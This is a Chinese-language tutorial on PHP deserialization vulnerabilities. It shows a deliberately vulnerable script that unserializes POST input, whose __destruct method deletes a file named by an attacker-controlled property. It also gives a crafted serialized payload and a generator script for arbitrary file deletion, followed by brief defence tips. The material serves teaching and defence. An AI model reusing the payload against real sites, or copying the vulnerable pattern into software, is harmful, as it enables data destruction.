序列化:serialize()
反序列化:unserialize()
序列化对象:
<?php
class whatDo {
var $x = "imz";
var $y = 10;
}
$obj = new whatDo();
echo serialize($obj);
?>
输出:O:6:"whatDo":2:{s:1:"x";s:3:"imz";s:1:"y";i:10;}
反序列化漏洞关键点----魔术方法:
以下代码用于简单的测试魔术方法调用过程:
<?php
class whatDo {
public $x = "imz";
public function __construct(){
echo "对象创建成功!!"."</br>"."</br>";
}
public function __sleep(){
echo "对象序列化成功!"."</br>"."</br>";
return array();
}
public function __wakeup(){
echo "还原对象成功!"."</br>"."</br>";
}
public function __destruct(){
echo "结束,对象销毁!"."</br>"."</br>";
}
}
echo "第一步:创建对象"."</br>";
$obj = new whatDo();
echo "第二步:序列化对象"."</br>";
$sl = serialize($obj);
echo "第三步:反序列化还原对象"."</br>";
unserialize($sl);
?>
运行输出:
反序列漏洞需要依赖几个条件:
- unserialize函数的参数可控
- 脚本中存在一个魔术方法,方法中调用了对象里面的参数,并且这个参数我们可以通过创建对象重新赋值
如果在开发过程中使用魔术方法使用不当,就有可能产生反序列化漏洞
比如:开发人员想要存储登录信息,在存储过程中调用了临时文件,当操作完成时将自动删除临时文件,利用以下方式完成:unserialize_test.php
#unserialize_test.php
<?php
#存储临时日志到temp.log
class temp_log{
public $filename = "temp.log"; #日志文件名
#将登录信息写入日志
public function get_info($text)
{
file_put_contents($this->filename,$text,FILE_APPEND);
}
#临时日志
public function __destruct()
{
echo "删除了文件".$this->filename;
unlink($this->filename);
}
}
#获取登录信息
class user{
public $username; #用户名
public $sys_info; #操作系统信息
public function print_login_info()
{
$log = $this->username." ".date("Y-m-d H:i:s")." ".$this->sys_info;
}
}
#获取来自登录页面登录信息
$user = unserialize($_POST['login_info']);
以上代码中,利用POST方法接收来自登录页面的信息login_info,而登录信息是通过序列化传入过来的,所以需要反序列化还原数据,并且login_info是可控的,所以满足了反序列化漏洞的第一个要求
而在对象temp_log中重写了魔术方法__destruct,并且该方法中删除的文件名是引用对象里面的参数$filename,我们可以通过创建对象重新赋值,所以这满足了反序列化漏洞的第二个要求
所以我们可以构造一个payload,用于删除任意文件,这里我想要删除xxx.txt
login_info=O:8:"temp_log":1:{s:8:"filename";s:7:"xxx.txt";}
我们可以利用代码去构造我们想要的payload,运行以下代码即可得到攻击payload
<?php
class temp_log{
public $filename;
}
$obj = new temp_log();
$obj->filename='xxx.txt'; #可以改成任意想要删除的文件名
echo serialize($obj)
?>
首先,创建xxx.txt
访问unserialize_test.php
POST将构造的payload传给login_info
成功删除xxx.txt
为什么会产生反序列化漏洞?
比如上面的例子,在正常情况下,从页面接收到的登录信息login_info是用户在登录时,页面自动获取到的正常数据,并将得到的数据拼接成日志形式存储在日志文件中,不会有任何的危害。
但是,因为调用销毁函数__destruct用于删除临时文件时,引用了对象里面声明的参数filename,这时攻击者就可以去重写该对象,并将filename重新赋值xxx.txt,并将对象生成一个序列化字符串,通过POST带入login_info,使程序在反序列化login_info字符串时,变相的帮攻击者去创建了temp_log对象,当反序列化完成,已经完成一次对象引用,程序又会自动去调用销毁方法__destruct删除文件,而这时的文件名却是攻击者指定的,达到攻击目的。
在实际应用中,反序列化漏洞产生的危害有很多种,可能是文件包含、命令执行、sql注入...
这取决于魔术方法
防御方法:
严格控制用户输入
对传入的反序列化参数进行严格过滤